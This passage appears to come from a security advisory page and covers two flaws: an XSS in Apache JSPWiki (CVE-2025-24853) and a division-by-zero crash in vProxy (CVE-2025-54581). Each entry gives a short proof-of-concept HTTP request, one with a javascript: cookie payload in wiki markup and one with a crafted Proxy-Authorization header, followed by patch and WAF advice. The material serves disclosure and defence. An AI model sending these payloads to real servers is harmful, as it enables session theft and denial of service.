Impact: Potential system compromise and sensitive data leakage

Affected Products

Product | Affected Versions

Apache JSPWiki | Prior to 2.12.3

How the Exploit Works

With the CVE-2025-24853 vulnerability, attackers can create a request using a carefully crafted header link with wiki markup syntax. This request can then be utilized to execute javascript in the victim’s browser. This exploit could potentially allow attackers to retrieve sensitive data from the victim’s system.

Conceptual Example Code

The following example demonstrates a conceptual exploit of this vulnerability:

POST /jspwiki/wikimarkup HTTP/1.1
Host: target.example.com
Content-Type: text/plain
[[_header text_|javascript:alert(document.cookie)]]

In this example, an attacker might craft a POST request that includes a malicious header link in the wiki markup syntax. The link contains a javascript code that, when executed, would display the victim’s cookies, potentially revealing sensitive information.

Mitigation Guidance

Users are advised to upgrade to Apache JSPWiki 2.12.3 or later versions to mitigate the risk of this vulnerability. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.

Overview

The vulnerability CVE-2025-54581 is a critical flaw affecting vProxy Servers version 2.3.3 and below. It allows an attacker to cause a server crash resulting in a denial-of-service (DoS) attack. This exploits the untrusted data extraction from a user-controlled HTTP Proxy-Authorization header and can potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-54581
Severity: High (7.5/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: A successful exploit of this vulnerability could cause a denial-of-service attack, potentially compromising the system and causing data leakage.

Affected Products

Product | Affected Versions

vProxy | 2.3.3 and below

How the Exploit Works

The exploit works by an attacker manipulating the HTTP Proxy-Authorization header. This header is user-controlled and untrusted data is extracted from it. The manipulated data is passed to Extension::try_from and eventually flows into parse_ttl_extension, where it is parsed as a TTL (Time-To-Live) value. If the attacker supplies a TTL of zero (e.g. by setting the username as ‘configuredUser-ttl-0’), a division by zero error occurs, leading to a server crash and a subsequent denial-of-service attack.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This could be done through an HTTP request as shown below:

GET / HTTP/1.1
Host: target.vproxy.com
Proxy-Authorization: Basic Y29uZmlndXJlZFVzZXItdHRsLTA=

The Proxy-Authorization header above is a Base64 encoded string of ‘configuredUser-ttl-0’. The server parses this as a TTL value of zero, leading to a division by zero crash, hence causing a denial-of-service.
For mitigation, it is advised to apply the vendor patch or use WAF/IDS as temporary mitigation. The vulnerability has been fixed in vProxy server version 2.4.0.
